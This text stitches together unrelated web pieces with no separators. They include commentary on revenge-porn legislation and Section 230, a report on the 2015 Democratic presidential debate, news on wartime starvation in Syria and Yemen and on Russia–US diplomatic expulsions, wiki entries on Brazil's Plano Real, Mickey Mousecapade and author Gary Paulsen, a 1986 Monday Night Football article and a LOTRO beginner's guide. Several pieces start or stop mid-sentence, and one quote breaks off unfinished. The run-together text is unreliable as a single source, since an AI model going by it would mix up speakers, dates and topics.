But then there’s a whole category of people who aren’t confused at all – let’s call this the “threatened sexist” category. To explain this, we have to back up a bit and take note of the fact that non-consensual pornography, like rape, domestic violence, and sexual harassment, is overwhelmingly (though of course not exclusively) targeted at women and girls. So you get some people who might cynically invoke the First Amendment or raise disingenuous questions about scope, but who are really just hostile to anything that makes it harder to treat women as second-class citizens, especially when it comes to sex.
These are people who fully understand that a great number of our personal, social, and legal interactions are premised on the idea of contextual consent. They would never argue that a customer who gives his credit card to a waiter has given the waiter the right to use that credit card to buy himself a motorcycle. They would never argue that the fact that a person voluntarily gave personal information to a cellphone gives that provider the right to hand that information over to, say, the NSA.
You do realize that this is known as the third party doctrine, and is the actual reason used to justify government spying, right?
As Bennett details, Franks has approached this largely in the "activist" role, rather than a scholarly role. In doing so, she's made arguments current case law just doesn't back up. That itself is problematic considering she's working with a Congress member to draft a law that will address an already-emotionally charged issue.But it gets worse. Scott Greenfield points out a recent interview Franks did with US News and World Report, where she makes this troubling statement.Having earlier questioned how long it would take Section 230 to fall in the face of anti-revenge porn efforts, Greenfield now has his answer The US News article also contains quotes from Matt Zimmerman, senior staff attorney at the EFF, who logically points out that targeting intermediaries by bypassing (or removing) Section 230 protection is a terrible idea and will inflict collateral damage all over the internet. As he points out, companies will simply remove user content as quickly as possible whenever requested rather than be held legally or criminally accountable for hosting it. Additionally, there's a good chance some platforms and hosting services will simply shut down altogether rather than have to play internet police 24/7.Franks "rebutted" Zimmerman's assertion, but from an oblique angle Well, if the EFF and ACLU don't think it's a bad idea… Oh, wait. That's not what she actually said. Greenfield breaks it down.Franks is looking to do some serious damage to free speech with her proposed law. While it could be theorized that courts will buy her arguments about what the First Amendment does and doesn't protect (troubling in its own way), this proposed attack on Section 230 Safe Harbor is bad news no matter how you look at it. The fact that she brings up child pornography is another indication that advocating for this law has very little to do with ensuring standing protections remain as unscathed as possible.Politicians and special interest groups have often used " for the children " as an excuse for all sorts of legislative havoc. After all, who's going to defend child pornography? It's a disingenuous rhetorical tactic that equates Pet Issue A with The Worst Thing on the Internet in order to paint opponents as child porn sympathizers. But as Greenfield says, what are rights compared to feelings? Revenge porn is bad, and those arguing against legislative measures like Franks' are frequently portrayed as misogynists trying to ensure their abuse of women continues uninterrupted. Here's Franks herself on the subject There's also some indication that Franks, like many others who aggressively advocate for laws that will fundamentally alter the way the internet runs, doesn't have a solid grasp on the very area she's attempting to regulate. She makes the following statement, which follows shortly after her above assertion that opponents will make "cynical arguments" about the First Amendment.As commenter Ken Arromdee points out, this statement is beyond obtuse.Greenfield |
/The Washington Post)
Democratic front-runner Hillary Rodham Clinton sought to cast herself as an outsider — because she would be the first woman president — and as a leader who’d sought out confrontations with Wall Street bankers and Chinese leaders during the party’s first debate of the 2016 presidential race.
“America’s been knocked down,” Clinton said in her closing statement Tuesday night, talking about the devastation of the Great Recession. “America’s best days are still ahead.”
The question in the debate’s aftermath will be whether those arguments rang true to voters — who may see the former first lady, senator and secretary of state as a Washington insider, regardless of her gender — and whether the accomplishments Clinton cited are good enough to qualify her for the White House.
Clinton’s chief rival, Sen. Bernie Sanders (I-Vt.), largely avoided attacks on the front-runner: In fact, he actually helped her escape a question about the scandal over her use of a private e-mail sever to conduct State Department business, saying the American people were “sick and tired” of hearing about the e-mails.
Instead, Sanders used the debate to repeat arguments that he’s made a number of times on the campaign trail, saying that a “political revolution” was needed to fight the power of big money in politics. He was not pressed to explain the mechanics of his sweeping and expensive proposals, which would offer free tuition at state universities and a national health-care system for all Americans.
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[The candidate breaking through in the Democratic debate? Bernie Sanders.]
His most difficult moments — in a sympathetic room in Las Vegas — came when he was pressed to explain his stances on gun control, an issue where Sanders stands to the right of Clinton and other rivals.
“All the shouting in the world is not going to do what I would hope all of us want, and that is keep guns out of the hands of people who should not have” them, Sanders said, calling for more mental-health treatment for people who might be suicidal or homicidal.
The other three candidates came in as long shots, and probably left as the same.
Former Maryland governor Martin O’Malley was unusually soft-spoken for a man who desperately needed to seize the spotlight.
Jim Webb, the former senator from Virginia, had strong moments on foreign policy, but he also spent much time complaining about how he’d been marginalized by the moderators.
And Lincoln Chafee, the former senator and governor from Rhode Island, looked like a man who hadn’t prepared: Twice he said he’d voted for a particular bill because a majority of other senators were doing it, and he went along.
The evening was clearly dominated by Clinton and Sanders.
Clinton was immediately put on the defensive by CNN’s Anderson Cooper, the debate’s moderator, who listed instances when she’d changed her political positions, including on same-sex marriage and the recent Trans-Pacific Partnership trade deal. “I do absorb new information. I do look at what’s happening in the world,” Clinton said. Pressed by Cooper to say whether she was a progressive or a moderate, she said, “I’m a progressive, but I’m a progressive who likes to get things done.”
Asked later to explain how she would be different from President Obama, Clinton cited her gender.
“I think that’s pretty obvious,” Clinton said, when asked how her presidency would not be a “third term” for Obama. “I think being the first woman president would be quite a change.”
Cooper followed up: “Is there a policy difference?”
Clinton’s answer was not very specific: She said she would build on Obama’s policies in some areas, and go further in others.
Although Clinton has come out against Obama’s Trans-Pacific Partnership, she used the president as a job reference.
“He asked me to become secretary of state,” she said, after being criticized for her vote in favor of the Iraq war in 2002. “He valued my judgment,” she said, and trusted Clinton’s advice in situation-room discussions.
She offered a full-throated defense of the U.S. military intervention in Libya, despite the chaos and the rise of Islamist militias that followed, but it was another question on Libya that put Clinton on defense and presented one of the more interesting moments of the debate.
Clinton was questioned about her use of a private e-mail system while serving as secretary of state, which has become the focus of a House committee investigating the death of four Americans in an attack on a U.S. diplomatic compound in Benghazi. While at the State Department, Clinton often used a personal e-mail address — and a private e-mail server located at her home in New York — to conduct government business.
“It wasn’t the best choice,” Clinton said, before attacking the committee itself. She cited a statement by House Majority Leader Kevin McCarthy (R-Calif.) in which he implied that the committee’s best outcome was to undercut Clinton’s poll numbers. “This committee is basically an arm of the Republican National Committee. It is a partisan vehicle... to drive down my poll numbers. Big surprise. And that’s what they have attempted to do. I am still standing.”
Sanders, Clinton’s top rival in this race, seemingly came to her defense. “Let me say something that may not be great politics,” he said. “The American people are sick and tired of hearing about your damn e-mails.”
That statement drew loud and sustained applause, in a room full of Democratic partisans — even while Cooper cautioned that it might be less well-received elsewhere. The CNN moderator prompted Chafee — one of the three long shots onstage with Clinton and Sanders — to say that he worried that Clinton’s handling of the scandal might harm American credibility.
Cooper asked Clinton: Did she want to respond?
“No,” Clinton said. More laughs. In this room, Chafee’s criticism seemed worthy of a brush-off.
Clinton, however, was not as generous to Sanders earlier in the debate. She was sharply critical of Sanders on guns, saying that the senator had been on the wrong side of votes over background checks for gun buyers and immunity for gun manufacturers.
Asked by Cooper whether Sanders had been tough enough on guns, Clinton said, “No, not at all.”
“Senator Sanders did vote five times against the Brady bill,” which toughened restrictions about who could buy guns, Clinton said. She also cited a bill that was designed to shield gun manufacturers from liability in lawsuits. “I voted against. I was in the Senate at the same time.... It was pretty straightforward to me.”
[Hillary Clinton serves notice to Bernie Sanders: No more truce]
Sanders is to the left of most of the Democrats in this race on most issues — but gun control is an exception. Sanders was first elected to Congress in part because the National Rifle Association fiercely attacked his opponent.
In the debate, Sanders told the others that they should understand the perspective of voters in a rural state like Vermont, which has very little gun control.
“Our job is to bring people together,” Sanders said, as he tried to pivot the argument to the subject of health care, saying that he wanted to expand mental-health services to people who might be suicidal or homicidal.
There were other points of friction between the two candidates.
When Anderson asked Sanders whether he could be elected while identifying as a “democratic socialist,” he said: “We’re gonna win, because first we’re gonna explain what democratic socialism is.” Sanders said that he wanted to replicate conditions seen in other industrialized countries, including free health care and paid family leave.
Clinton stepped in, offering a veiled criticism of Sanders — which, in this debate, may be the only kind of criticism there is.
“We are not Denmark. I love Denmark. We are the United States of America, and it’s our job to rein in the excesses of capitalism,” she said, referring to Sanders’s statement that he was not a capitalist. “We would be making a grave mistake to turn our backs on what built the greatest middle class” in the world, she said.
Sanders struck back when Clinton was questioned about her relationships with Wall Street. She sought to combat suggestions that she is too closely aligned with the big banks, saying she had personally scolded Wall Street bankers to “cut it out,” months before the financial crisis of 2008.
“I respect the passion and intensity. I represented Wall Street, as a senator from New York,” Clinton said, after hearing Sanders outline a plan to break up big banks. She described meeting with Wall Street bankers in 2007. “I basically said, cut it out. Quit foreclosing on homes. Quit engaging in these speculative behaviors.”
The financial crisis happened anyway, of course. A few moments later, Sanders offered what passed — in this low-drama debate — for a zinger.
“Congress does not regulate Wall Street. Wall Street regulates Congress,” Sanders said. “Going to them and saying please do the right thing is kind of naive.”
As the five candidates onstage debated that issue, Chafee, who could afford few missteps, appeared to make one. Asked why had supported a measure that repealed a decades-old regulation and empowered Wall Street banks, Chafee’s answer appeared to be that he didn’t fully understand the bill.
“I just arrived in the Senate. I think we get some [do-overs],” Chafee said. At the time, his father Sen. John Chafee (R-R.I.) had died, and he had been appointed to fill the same seat.
What does that say about you, Cooper asked?
“I think you’re being rough. I’d just arrived. It was the first vote, and it was 90 to 5,” Chafee said.
For Chafee, Webb and O’Malley, performance in the debate was critical. They are all polling below 1 percent, according to the average of polls at Real Clear Politics. If they were Republicans, they’d be relegated to the undercard, debating other margin-of-error candidates at dinnertime.
[The other three guys in the debate]
But in the smaller Democratic field, there is room for them. And all of them needed to make an impression, in order to attract donors and voters. There will be five more Democratic debates, but — if they can’t stand out in this one — the three long shots may not make it to all of the others.
O’Malley, trying desperately to stand out, had his most memorable moments in the opening and closing statements as he seemed to try to take some of Sanders’s thunder by seizing on economic inequality. He also challenged Sanders on his stance on gun control, noting that as governor, he led Maryland in passing such measures.
“We passed comprehensive gun safety legislation, not by looking at the pollings or looking at what the polls said,” he said. But he said such measures have little chance in Congress, in a pointed reference to Sanders.
Webb, at one point, complained of not being called on at all. “I’ve been standing over here for about 10 minutes here,” he said, before finally being asked his opinions about foreign policy.
Webb tried to score some points where he could. He took a jab at Sanders call for a “political revolution” to bring him to the White House and other changes to Washington. Webb questioned whether — even under a President Sanders — that kind of revolution was possible.
“Bernie, I don’t think the revolution’s going to come. And I don’t think that the Congress is going to pay for a lot of this stuff,” Webb said.In a Middle East torn apart by war and conflict, fighters are increasingly using food as a weapon of war.
Millions of people across countries like Syria, Yemen and Iraq are gripped by hunger, struggling to survive with little help from the outside world. Children suffer from severe malnutrition, their parents often having to beg or sell possessions to get basic commodities including water, medicine and fuel.
The biggest humanitarian catastrophe by far is Syria, where a ruinous five-year civil war has killed a quarter of a million people and displaced half the population. All sides in the conflict have used punishing blockades to force submission and surrender from the other side - a tactic that has proved effective particularly for government forces seeking to pacify opposition-held areas around the capital Damascus.
Since October, Russian airstrikes and the start of yet another winter have exacerbated a humanitarian crisis and led to deaths from starvation in some places.
Humanitarian teams who recently entered a besieged Syrian town witnessed scenes that “haunt the soul,” said Secretary-General Ban Ki-moon. He accused both the government of President Bashar Assad and rebels of using starvation as a weapon, calling it a war crime. The conduct of forces carrying out sieges and their behaviour toward civilian populations are regulated by international humanitarian law. Past cases include the sieges of Gorazde and Sarajevo during the Bosnian war.
The UN and aid agencies have struggled with the delivery of humanitarian assistance despite Security Council resolutions insisting on the unconditional delivery of aid across front lines.
In Yemen, the Arab world’s most impoverished nation, nearly half of the 22 provinces are ranked as one step away from famine.Russia's President Vladimir Putin talks to U.S. President Donald Trump during their bilateral meeting at the G20 summit in Hamburg, Germany July 7, 2017. (REUTERS PHOTO)
MOSCOW, July 14 (Xinhua) -- Russia is ready to expel a number of U.S. diplomats and seize two U.S. properties here in a tit-for-tat response if no deal is reached at a meeting of senior diplomats of the two sides in Washington on Monday, the Russian Foreign Ministry said Friday.
"You know there was a very long pause and it dragged on. So it is obvious that if there is no other way to convince the American partners, we will have to act in this direction at some point," Foreign Ministry spokeswoman Maria Zakharova said at a weekly briefing.
She said that Russian Deputy Foreign Minister Sergei Ryabkov and U.S. Under-Secretary of State Thomas Shannon are expected to discuss this issue at a meeting in Washington.
On Dec. 29, the administration of former U.S. President Barack Obama ordered the expulsion of 35 Russian diplomats suspected of spying and closed two compounds belonging to the Russian Embassy in response to Russia's alleged interference in the U.S. presidential election and to "a pattern of harassment of our diplomats overseas."
On the next day, Russian Foreign Minister Sergei Lavrov proposed to Russian President Vladimir Putin to expel 31 U.S. diplomats and seize a U.S. dacha in Moscow's luxury villa compound of Serebryany Bor and a U.S. warehouse in the south of the Russian capital.
But Putin rejected the proposal, saying in a statement that Russia reserved the right to retaliate depending on the future policy of the new U.S. President Donald Trump.
Zakharova did not specify the number of U.S. diplomats facing expulsion, but said that the staff of the U.S. Embassy in Moscow was much more than Russian Embassy workers in Washington.
"Accordingly, one of the possible options is, besides the purely symmetrical expulsion of the Americans, to simply equalize the staff," she said.The Plano Real ("Real Plan",[1] in English) was a set of measures taken to stabilize the Brazilian economy in 1994, during the presidency of Itamar Franco. Its architects were led by the Minister of Finance and succeeding president Fernando Henrique Cardoso. The Plano Real was based on an analysis of the root causes of hyperinflation in the New Republic of Brazil, that concluded that there was both an issue of fiscal policy and severe, widespread inertial inflation. The Plano Real intended to stabilize the domestic currency in nominal terms after a string of failed plans to control inflation.
Background [ edit ]
According to economic academics, one of the causes of inflation in Brazil was the inertial inflation phenomenon. Prices were adjusted on a daily basis according to changes in price indices and to the exchange rate of the local currency to the U.S. dollar. Plano Real then created a non-monetary currency, the Unidade Real de Valor ("URV"), whose value was set to approximately 1 US dollar. All prices were quoted in these two currencies, cruzeiro real and URV, but payments had to be made exclusively in cruzeiros reais. Prices quoted in URV did not change over time, while their equivalent in cruzeiros reals increased nominally every day.
Solution [ edit ]
The Plano Real intended to stabilize the domestic currency in nominal terms after a string of failed plans to control inflation. It created the Unidade Real de Valor (Unit of Real Value), which served as a key step to the implementation of the new (and still current) currency, the real. At first, most academics tended not to believe that the Plan could succeed. Stephen Kanitz was the first public intellectual to predict the future success of the Real Plan.
A new currency called the real (plural reais) was introduced on 1 July 1994, as part of a broader plan to stabilize the Brazilian economy, substituting the short-lived cruzeiro real in the process. Then, a series of contracting fiscal and monetary policies was enacted, restricting the government expenses and raising interest rates. By doing so, the country was able to keep inflation under control for several years. In addition, high interest rates attracted enough foreign capital to finance the current account deficit and increased the country’s international reserves. The government put a strong focus on the management of the balance of payments, at first by setting the real at a very high value relative to the U.S. dollar, and later (in late 1998) by a sharp increase on domestic interest rates to maintain a positive influx of foreign capitals to local currency bond markets, financing Brazilian expenditures.
Result [ edit ]
The real initially appreciated (gained value) against the U.S. dollar as a result of the large amount of capital inflows in late 1994 and 1995. It then began a gradual depreciation process, culminating in the 1999 January currency crisis, when the real suffered a maxi-devaluation, and fluctuated wildly. Following this period (1994–1999) of a quasi-fixed exchange rate, an inflation-targeting policy was instituted by new central bank president Arminio Fraga, which effectively meant that the fixed-exchange period was over. However, the currency was never truly "free", being more accurately described as a managed or "dirty" float, with frequent central bank interventions to manipulate its dollar price.
The currency’s appreciation was crucial to keep inflation under control. Mainly, it assured the supply of cheap imported products to meet the domestic demand and forced domestic producers to sell at lower prices in order to maintain their market shares. This was especially important in the period immediately following the adoption of the new currency, when the sudden drop in inflation caused a surge in demand. The increased imports, therefore, were essential to avoid demand-side inflationary pressures that would undermine the stabilization plan.
See also [ edit ]
References [ edit ]
^ The word real in Portuguese could be translated either to real or royal in English. The name of the plan comes from the name of the currency which was chosen to give the idea of a stable and credible purchasing power.In his inaugural speech, president Trump painted a gloomy picture of an America that was broken, and is in dire need of fixing. In fact, as this graph shows, the U.S. economy he inherits has been improving steadily over the past six years, with unemployment showing in an equally steady decline.
Like an economic stroboscope, the graph pulsates and changes color to indicate the state of the nation. Larger circles indicate higher levels of unemployment, and vice versa. Green means GDP growth, more so if darker green. Red indicates crisis moments, when the Gross Domestic Product contracts – by more, as the shade of red darkens.
The graph starts in 1929, an ominous year for the economy of the U.S., and indeed the world. The Wall Street Crash sets off the Great Depression, which causes hardship on a scale not seen for generations – before or since.
Unemployment almost triples, from 3.14% in 1929 to 8.67% in 1930, almost doubles again by the next year to 15.82%, and adds another 8% by 1932. The rate peaks in 1933, when almost a quarter of the workforce – 24.75% - is out of a job. By that time, the benefits of president F.D. Roosevelt's New Deal start to kick in.
But the massive programme for Relief, Recovery and Reform (which also included the beginning of Social Security) did not translate into a smooth or swift recovery. Unemployment stubbornly stayed in the double digits throughout the rest of the decade, and even ticked up four and a half percentage points again, to 18.91% in 1938. Only by 1941 did the unemployment rate dip below 10% again, and the mobilisation effort that followed U.S. entry into war the next year led to the historically low unemployment rate of 1.2% in 1944. Never since has the U.S. unemployment rate ever been as low as that – nor ever as high again as 11 years previously.
Post-war America, in the public imagination, turned from military victory to the commercial conquest of the world, bringing stability and growth in the domestic economy. Point in case: the Employment Act of 1946, which extended the federal government's powers to fight inflation and unemployment – although the bill stopped short of advocating full employment, as so nearly achieved a few years earlier. But in reality, as this graph shows, peace did not bring immediate prosperity. Between 1945 and 1949, GDP contracted and unemployment crept up again, to 5.9%. But from 1950 onwards, growth returns, and unemployment goes down again.
By 1954, the Dow Jones had returned to pre-Crash levels, officially ending the Recession. Apart from two'red' years this decade – 1954 and 1958 – the economy keeps growing and growing, all the way to the early 1970s. Unemployment gradually drops to a low of 3.6% in 1968; but starts to creep up again even before the Oil Crisis, which turns the start of the next decade red, and leads to'stagflation' – low growth plus high inflation.
President Reagan oversees an even bigger contraction of GDP in the early 1980s, but the rest of the decade sees a recovery to growth and lower unemployment – only perforated by the Savings and Loan Crisis of 1989, a financial meltdown that was felt well into the 1990s. However, the Clinton years witness another long stretch of economic growth, the establishment of NAFTA and the balancing of the federal budget.
The presidency of George W. Bush was hit by the stock market crash of 2000, and by 9/11 a year later. The ensuing war on two fronts – in Afghanistan and Iraq – doesn't seem to have a negative impact on the home front, where growth stays strong and unemployment stays low. But the fact that the European Union overtakes the U.S. as the world's largest economy in 2007 could be seen as a sign of underlying weakness – but that warning is soon rendered obsolete by the financial crisis that erupts the next year. Dubbed the Great Recession, it sees a serious contraction of the economy and a spike in unemployment spike at 10%. Measures taken by president Obama avert an even worse crisis, and the economy starts to grow again, although the so-called 'jobless recovery' leaves many ordinary Americans wondering when or even whether they will reap the benefits of the improving economy.
Unemployment has now fallen to what has come to be considered a natural low, of 5%. Could it ever return to the catastrophic levels of the early 1930s – or the near-full employment of the mid-1940s? As the Trump era begins, it remains to be seen whether the new president's policy changes will extend the virtuous cycle of rising growth and falling unemployment – or punctuate it with a red mark for recession, followed by rising jobless rates.
The Fall & Rise of the U.S. Economy, from the Wall Street Crash until Now https://t.co/3JWbZWSgDs pic.twitter.com/9TqKaL9tjA #dataviz #USA — How Much (@howmuch_net) February 7, 2017
Please feel free to leave your comments below! We would like to hear your feedback.Mickey Mousecapade, released in Japan as Mickey Mouse: Fushigi no Kuni no Daibouken (ミッキーマウス 不思議の国の大冒険, "Mickey Mouse: Adventures in Wonderland"), is a platform game developed and published by Hudson Soft originally in 1987 for the Family Computer (Famicom) in Japan.[1] Capcom released the game for the Nintendo Entertainment System (NES) in the United States.
The character of Mickey Mouse attempts to save a young girl who happens to be Alice from Alice in Wonderland. Minnie Mouse follows Mickey around and occasionally gets kidnapped. Various villains from Disney cartoons make an appearance as bosses.
Premise [ edit ]
Mickey Mouse in the first stage - the Fun House
Mickey and Minnie are traveling through the Fun House, the Ocean, the Forest, the Pirate Ship, and the Castle trying to rescue someone mentioned only as "a friend" in ads and the instruction manual. In the game's ending, the friend is revealed to be Alice from Alice in Wonderland. In the Japanese version, Alice is prominently featured on the box art and instruction manual.
The title screen of the American version refers to the game by its Japanese title, which is simply Mickey Mouse. A Hidden Mickey can be found embedded in the circuit board when the game cartridge is opened.[2]
Regional differences [ edit ]
While the gameplay, soundtrack and premise to rescue Alice is the same, there are a considerable number of differences between Capcom's American release and Hudson's original game for the Famicom, especially when it comes to the use of Disney characters.
Both versions make use of Disney villains for bosses but not one of them is present in both versions. For example, the Cheshire Cat from Alice in Wonderland is the first boss in the Japanese version, but in the American version he was replaced by Witch Hazel. Many Disney characters who appear as regular foes in the Japanese version were also replaced in the American version by other Disney villains. Unlike other Mickey Mouse video games, Pete is not the final boss; instead, that role is played by Maleficent in the American version of the game and by the Queen of Hearts on the Japanese version. Pete does however appear as the fourth boss on the American version.
The Japanese version was based, first and foremost, on the film Alice in Wonderland and most references about Disney on this version derive from this same movie, although some references to Peter Pan are also made, such as having Captain Hook as the fourth boss in the game. The American localization used a more varied formula, with enemies coming from The Jungle Book, Country Bear Jamboree, Sleeping Beauty and Snow White and the Seven Dwarfs. Some of the items also underwent changes. In the Japanese version, Mickey could refill his life bar by picking up Donald Duck's head but this item was replaced in the American conversion by a simple diamond. Mickey uses throwing stars as a weapon in the American version. However, in Hudson's version, he shoots white balls. The stage names were also edited. For example, the first stage which is known in the American version as the "Fun House" was the "Little House" in the Japanese version.
Reception [ edit ]
Reception Review score Publication Score AllGame [3]
Allgame's Skyler Miller described the visuals as serviceable, but the music as overly repetitive.[3] Miller awarded the game two out of five stars. IGN rated it the 86th greatest NES game of all time.[4]
See also [ edit ]Gary James Paulsen (born May 17, 1939)[1] is an American writer of young adult literature, best known for coming of age stories about the wilderness. He is the author of more than 200 books and has written more than 200 magazine articles and short stories, and several plays, all primarily for teenagers. He won the Margaret Edwards Award from the American Library Association in 1997 for his lifetime contribution in writing for teens.[2]
Biography [ edit ]
Gary Paulsen was born in Minneapolis, Minnesota, USA, where his extended family resided, to Oscar and Eunice H. (née Moen),[1] Paulsen has two siblings: a full sister, Paulette, and a half-brother Bill, who was born to his father from a previous marriage. His father was a career army officer, on General George Patton's staff, who spent most of World War II overseas. Gary did not meet his father until he was seven years old. He spent time throughout his childhood with his grandmother, aunts and various other relatives.[3] When he was seven he and his mother joined his father in the Philippines, where he lived for two years. He then returned to Minnesota. At the age of 14, Gary ran away and went to a sugar beet farm.[4]
Paulsen has written some fragmented autobiographical works, such as Eastern Sun, Winter Moon: An Autobiographical Odyssey. The book, which is written in first person, begins when Paulsen was seven, living in Chicago with his mother. Paulsen described several traumatic occurrences that transpired during the three years that are chronicled by the book. For example, one day while his mother was napping, Gary sneaked outside to play. There a vagrant snatched him and apparently attempted to molest him, but his mother suddenly appeared on the scene and beat the man to death. Paulsen reported his mother's many adulterous affairs in Eastern Sun, suggesting that the man he called "father" was not really his biological father. He also discussed his mother's alcoholism. He told how she would bring him to a bar and had him sing for his supper, even though she had an income from her work in an ammunition factory, and he felt there was no need for this. When World War II ended, Gary's father sent for him and his mother to come join him in the Philippines, where he was stationed. A great part of the book is dedicated to the voyage by naval vessel to the Philippines. During the trip, Gary witnessed a plane crash. He, his mother, and the people who were also being transported on this ship, looked on as many of the airplane’s passengers were killed or maimed by the sharks who would follow the ship consuming waste. His mother, the only woman aboard, helped the corpsman care for the surviving victims. After arriving in Hawaii, according to Paulsen, his mother began an affair with the ship's corpsman.[3]
Gary and his mother arrived in Manila, where he met his father for the first time. He quickly realized that he would not have a close relationship with the man whom he felt he did not resemble nor relate to, who never referred to him as anything except "the boy" and who, like Gary's mother, was an alcoholic. Gary's family had two servants while they lived on the army base in Manila, a man named Rom, and a woman named Maria. Gary shared a room with Maria and before long, the woman, who had endured multiple rapes at the hands of the formally occupying Japanese, began to molest Gary. He claimed in the book that this happened quite often, nearly every night, until he left Manila. While living in Manila, Gary's parents continued to drink heavily. His mother also continued to have affairs.
The accounts in Eastern Sun ended when Gary and his mother left Manila. Bits and pieces of Gary's adolescence can be pieced together in Guts: The True Stories Behind Hatchet and the Brian Books. In that book, Paulsen discussed the ways in which he survived between the ages of twelve and fourteen back in Minnesota. He barely mentioned his parents except to say that they were too busy being drunk to stock the refrigerator. He worked several jobs during this time, including setting pins at the bowling alley, delivering newspapers and working as a farm hand. He bought his own school supplies and a rifle, which he used to hunt for sustenance. Eventually, he gave up the rifle and manufactured his own bow and arrows which he used to hunt deer.[5]
Much of what is known about Gary Paulsen's life is revealed in prologues and epilogues of his own books. In Gary Paulsen's book The Quilt, one of a series of three books based on summers spent with his grandmother, Paulsen told about what a tremendous influence his grandmother had on him. It is difficult to say how factual an autobiography The Quilt is intended to be, as Paulsen is supposed to have been six years old in this story and yet he made references to events found in Eastern Sun, which is supposed to have been set later. He also refers to himself, in this book, in third person and only as "the boy".[6]
Paulsen has been married twice and has three adult children, Lance, Lynn and James Paulsen. Early in his adult life he had issues with alcoholism. He also lived in poverty through most of his early adult life. He had several jobs including that of magazine editor. He also did a tour in the Army. He struggled as a writer for decades. One of his earliest published books was titled Some Birds Don't Fly, a comic rendition of his time working at the government missile range, White Sands, New Mexico. In 1966, a book was published under the title The Special War. Paulsen worked at construction while writing to support himself. It was not until the publication of his first award-winning book, Dogsong, in 1985 that Paulsen began to experience success.
Even though Paulsen is now a successful author, he says he chooses to live in relative poverty. He reportedly lives with his wife, Ruth, who illustrates children's literature, in La Luz, New Mexico. (ALA reported Tularosa, New Mexico in 1997.)[2] He also spends some time living on a house boat on the Pacific Ocean.
In 1983, Paulsen entered the 1,150-mile (1,850 km) Iditarod Trail Sled Dog Race, and placed 41st[7] out of 54 finishers, with an official time of 17 days, 12 hours, 38 minutes, and 38 seconds. In 1990, suffering from heart disease, Paulsen made the decision to give up dog sledding, which he described as the most difficult decision he has ever made. Paulsen would spend more than a decade sailing the Pacific before getting back into dog sledding in 2003. According to his keynote speech on October 13, 2007, at the Sinclair Lewis writing conference in Sauk Centre, Minnesota, he still intended to compete in the Iditarod. He is listed in the "Withdrawn/Scratched" section of the 1985 and 2006 Iditarod. Paulsen is an outdoorsman (a hunter and trapper), who maintains a 40-acre (160,000 m2) spread north of Willow, Alaska, where he breeds and trains sled dogs for the Iditarod.
Much of Paulsen's work features the outdoors and highlights the importance of nature. He often uses "coming of age" themes in his novels, where a character masters the art of survival in isolation as a rite of passage to manhood and maturity. He is critical of technology and has been called a Luddite.[8]
The Hatchet series, or Brian's Saga, five novels published from 1987 to 2003, comprises some of Paulsen's best known work. Dogsong (1985), The Winter Room (1989), and Harris and Me (1993) are three others of his many popular novels. Woodsong (1990) and Winterdance (1994) are among the most popular books about the Iditarod.
The ALA Margaret Edwards Award recognizes one writer and a particular body of work for "significant and lasting contribution to young adult literature". Paulsen won the annual award in 1997, when the panel cited six books published from 1983 to 1990: Dancing Carl, Hatchet (first in the series), The Crossing, The Winter Room, Canyons, and Woodsong. The citation noted that "[t]he theme of survival is woven throughout, whether it is living through a plane crash or living in an abusive, alcoholic household" and emphasized Hatchet in particular for "encompassing a survival theme in all it's aspects, physical as well as psychological" [2]
Three of Paulsen's books were runners-up for the Newbery Medal, the premier ALA annual book award for children's literature: Dogsong, Hatchet, and The Winter Room.[9] (The American Library Association distinguishes children's and young-adult literature in its awards for lifetime contribution from 1988; in its annual book awards only since inauguration of the Printz Award in 2000.)PRO FOOTBALL '86 : The Decline and Fall of Monday Night Football
The 1984 average Nielsen rating was 16.9. The '85 average was 19.7, boosted by a record 29.1 for a game in which the Miami Dolphins handed the Chicago Bears their only loss. Otherwise, it was another bleak season.
ABC has been singing the Monday night blues for the past several years. The network reportedly lost $16 million on its prime-time NFL football telecasts in 1985, even though ratings were up 17% over '84, when they hit an all-time low.
What became an American institution in the 1970s and peaked in popularity in 1981, may be canceled after this season, if you are to believe what many television executives are saying.
But "Monday Night Football" might not make it to season No. 18.
"Monday Night Football," beginning its 17th season Monday, is television's second-longest-running prime-time show. Only "60 Minutes" has been around longer.
Said Dennis Swanson, the president of ABC sports: "Dropping 'Monday Night Football' is an extreme position, but we can't continue to lose money."
Executives at both NBC and CBS have said their networks are not interested in a prime-time NFL package.
The fate of "Monday Night Football" will not be determined until early next year when NFL Commissioner Pete Rozelle sits down with the heads of the network sports divisions to negotiate a new contract. The current five-year, $2.1-billion contract runs out this season.
The three networks will pay $495 million to the NFL this season, up from last season's $450 million. According to Broadcasting magazine, ABC pays the most, $175 million this season, followed by CBS at $165 million and NBC at $155 million.
The networks say that at those prices, they can't make a profit in the current economic climate.
"It's not an impossible scenario that ABC will no longer be in the 'Monday Night Football' business after this season," said Peter Lund, president of CBS sports. "I'm |
enough in repealing and replacing Obama’s healthcare law. Obama urged Republicans on Capitol Hill to not simply be driven by meeting a campaign promise, but to instead think about the potential for millions of Americans to lose their insurance. While the Congressional Budget Office is expected to score the Senate legislation by early next week, the House-passed bill would leave 23 million more people uninsured over the next 10 years.
“I recognize that repealing and replacing the Affordable Care Act has become a core tenet of the Republican party,” Obama said. “Still, I hope that our senators, many of whom I know well, step back and measure what’s really at stake, and consider that the rationale for action, on healthcare or any other issue, must be something more than simply undoing something that Democrats did.”
“After all, this debate has always been about something bigger than politics,” he added. “It’s about the character of our country – who we are, and who we aspire to be. And that’s always worth fighting for.”
Sign up for the Minute email. Catch up on today’s US politics news in 60 secondsThis past week, I received this letter from reader Thurro: “Your recent LOTRO resurgence has my interest, and from the sounds of you on the podcast I might not be the only one. Would you consider writing a beginners guide or even just a list of tips for getting started from scratch?”
Sure, why not? It’s still a little too early to tell, but we could be seeing a nice little LOTRO renaissance right now, and I bet that there are more than a few players who are checking the game out for the first time after reading the news and hearing recommendations from others. Considering that it’s a massive MMORPG with 10 years of content and expansions, I could see how it might be overwhelming during your first week.
A true guide would probably take so much longer than the space I have this week, so let me present a quick and dirty starting guide to the this wonderful MMO and then point you to LOTRO Wiki for any further questions (seriously, it’s a great resource!). Let’s get started!
Server
After you create your account and before you actually load up the game, you’ll be prompted to select a server. As the semi-recent merges have created healthy populations on all remaining shards, it’s up to you to choose one. Europe has one official RP server and North America has an RP-encouraged server, but other than that, the rulesets are all the same.
Creating your character
LOTRO has five (soon to be six) races and 10 classes from which to choose. There are limits with your combinations, as some classes are only available to certain races (such as the Captain to the Race of Man or the Beorning to the Beornings). Also, there is no option to select a female Dwarf (it’s a lore thing, but if you want to roleplay a bearded Dwarf female, no one will stop you). Each race has some racial talents and skills, but for the most part these are very minor and are not important to your final selection.
Wardens and Rune-keepers come with the purchase of the Mines of Moria expansion, while Beornings must be bought by any player separately.
